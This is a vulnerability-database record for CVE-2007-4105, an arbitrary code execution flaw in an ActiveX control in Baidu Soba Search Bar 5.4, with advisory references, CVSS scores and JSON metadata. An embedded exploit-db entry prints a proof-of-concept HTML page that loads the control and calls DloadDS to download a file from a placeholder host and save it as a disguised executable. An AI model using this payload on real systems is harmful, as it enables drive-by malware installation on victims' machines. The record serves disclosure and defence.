Search...

Baidu Soba Search Bar ActiveX (BaiduBar.dll) Arbitrary Code Execution

2007-07-30T18:22:42

ID OSVDB:37706
Type osvdb
Reporter OSVDB
Modified 2007-07-30T18:22:42

Description

No description provided by the source

References:

Secunia Advisory ID:26256 Other Advisory URL: http://www.fortiguardcenter.com/advisory/FGA-2007-10.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-08/0021.html Keyword: FGA-2007-10 ISS X-Force ID: 35692 FrSIRT Advisory: ADV-2007-2699 CVE-2007-4105 Bugtraq ID: 25121

JSON Vulners Source

Initial Source

{"href": "https://vulners.com/osvdb/OSVDB:37706", "id": "OSVDB:37706", "reporter": "OSVDB", "published": "2007-07-30T18:22:42", "description": "# No description provided by the source\n\n## References:\n[Secunia Advisory ID:26256](https://secuniaresearch.flexerasoftware.com/advisories/26256/)\nOther Advisory URL: http://www.fortiguardcenter.com/advisory/FGA-2007-10.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-08/0021.html\nKeyword: FGA-2007-10\nISS X-Force ID: 35692\nFrSIRT Advisory: ADV-2007-2699\n[CVE-2007-4105](https://vulners.com/cve/CVE-2007-4105)\nBugtraq ID: 25121\n", "title": "Baidu Soba Search Bar ActiveX (BaiduBar.dll) Arbitrary Code Execution", "lastseen": "2017-04-28T13:20:33", "bulletinFamily": "software", "type": "osvdb", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "references": [], "edition": 1, "cvelist": ["CVE-2007-4105"], "affectedSoftware": [], "viewCount": 1, "enchantments": {"score": {"value": 7.4, "vector": "NONE", "modified": "2017-04-28T13:20:33", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-4105"]}, {"type": "exploitdb", "idList": ["EDB-ID:30431"]}], "modified": "2017-04-28T13:20:33", "rev": 2}, "vulnersScore": 7.4}, "modified": "2007-07-30T18:22:42"}

{"cve": [{"lastseen": "2021-02-02T05:31:25", "description": "A certain ActiveX control in BaiduBar.dll in Baidu Soba Search Bar 5.4 allows remote attackers to execute arbitrary code via a request containing \"a link to download and a file to execute,\" possibly involving remote file inclusion.", "edition": 4, "cvss3": {}, "published": "2007-07-31T10:17:00", "title": "CVE-2007-4105", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-4105"], "modified": "2018-10-15T21:33:00", "cpe": ["cpe:/a:baidu:soba_search_bar:5.4"], "id": "CVE-2007-4105", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-4105", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:baidu:soba_search_bar:5.4:*:*:*:*:*:*:*"]}], "exploitdb": [{"lastseen": "2016-02-03T12:20:56", "description": "Baidu Soba Search Bar 5.4 BaiduBar.DLL ActiveX Control Remote Code Execution Vulnerability. CVE-2007-4105. Remote exploit for windows platform", "published": "2007-07-29T00:00:00", "type": "exploitdb", "title": "Baidu Soba Search Bar 5.4 BaiduBar.DLL ActiveX Control Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-4105"], "modified": "2007-07-29T00:00:00", "id": "EDB-ID:30431", "href": "https://www.exploit-db.com/exploits/30431/", "sourceData": "source: http://www.securityfocus.com/bid/25121/info\r\n\r\nAn ActiveX control installed with Baidu Soba search bar is prone to a remote code-execution vulnerability.\r\n\r\nAn attacker can exploit this issue to execute hostile code on a victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer). Successful exploits will allow attackers to execute arbitrary code with the privileges of the affected user; other consequences are possible.\r\n\r\nThis issue affects Baidu Soba 5.4; other versions may also be affected. \r\n\r\n<html>\r\n<head>\r\n\r\n<script>\r\n\r\nfunction DowndloadCalcAndRun()\r\n{\r\n\r\ncom.DloadDS(\"http://www.example.com/svcho st.cab\", \"svch ost.exe\", 0);\r\n\r\n}\r\n\r\n</script>\r\n</head>\r\n<OBJECT ID = \"com\" CLASSID = \"CLSID:{A7F05EE 4-0426-454F-8013-C41E 3596E9E9}\">\r\n</OBJECT>\r\n<script>\r\nDowndloadCalcAndRun()\r\n</script>\r\n</html>", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/30431/"}]}